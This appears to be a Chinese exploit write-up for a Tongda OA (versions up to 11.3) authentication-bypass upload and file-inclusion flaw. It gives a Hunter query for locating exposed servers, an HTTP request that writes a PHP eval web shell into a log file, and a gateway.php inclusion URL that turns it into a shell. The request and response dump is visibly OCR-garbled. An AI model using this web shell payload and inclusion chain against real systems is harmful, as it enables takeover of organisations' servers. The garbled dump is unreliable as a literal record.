T10-26通达-OA-文件包含

漏洞描述:

ispirit/im/upload.php文件存在可绕过身份验证上传任意文件,通过/ispirit/interface/gateway.php包含上传文件从而导致可以控制服务器getshell。

影响版本:

通达OA V11.x-通达OA 11.3

网站图片:



网络测绘:

Hunter 语法:

app.name="通达 OA"

漏洞复现:

```
= =
           请求
         美化 Raw \n Actions >
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              美化 Raw 页面渲染 \n Actions >
         1 GET /<?php class
   G87M5S8T { public function __construct($M7U41){ @eval("/*Zc98EhVx4t*/".$M7U41."/*Zc
98EMVx4t*/"); })new G87M5S8T($_REQUEST['x']); >> HTTP/1.1
2 Most: 192.16.31.164
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1 HTTP/1.1 500 Internal Server Error
2 Server: nginx
3 Date: Mon, 31 Jul 2023 15:31:26 GMT
4 Content-Type: text/html
5 Content-Length: 537
6 Connection: close
7 ETag: "5417/dae-213"
/ Jacobs No. 1 | Jacobs No. 1 | Jacobs No. 2 | Jaco
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        !BOCTYr-
:html>
-head>
-title>
- Error
- /title>
- style>
- body
- width:35em;
- width:35em;
- font-family:Tahoma,Verdana,Arial,sans-serif;
- }
- **S
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              <!DOCTYPE html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            23
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Sorry, the page you are looking for is currently unavailable.<br/>Please try again later.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            24
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            25

if you are the system administrator of this resource then you should check
the <a href="http://nginx.org/r/error_log">error log</a>
for details.

<pr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          26
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            27
```

查看日志文件, 发现成功写入。

□ 通达OA ×□ oa.error - 記事本文件(F) 編輯(E) 指式(O) 查看(V) 帮助(H)

使用文件包含日志文件getshell

http://ip/ispirit/interface/gateway.php?json={"url":"/general/../../attach/im/2307/1775389563.png"}

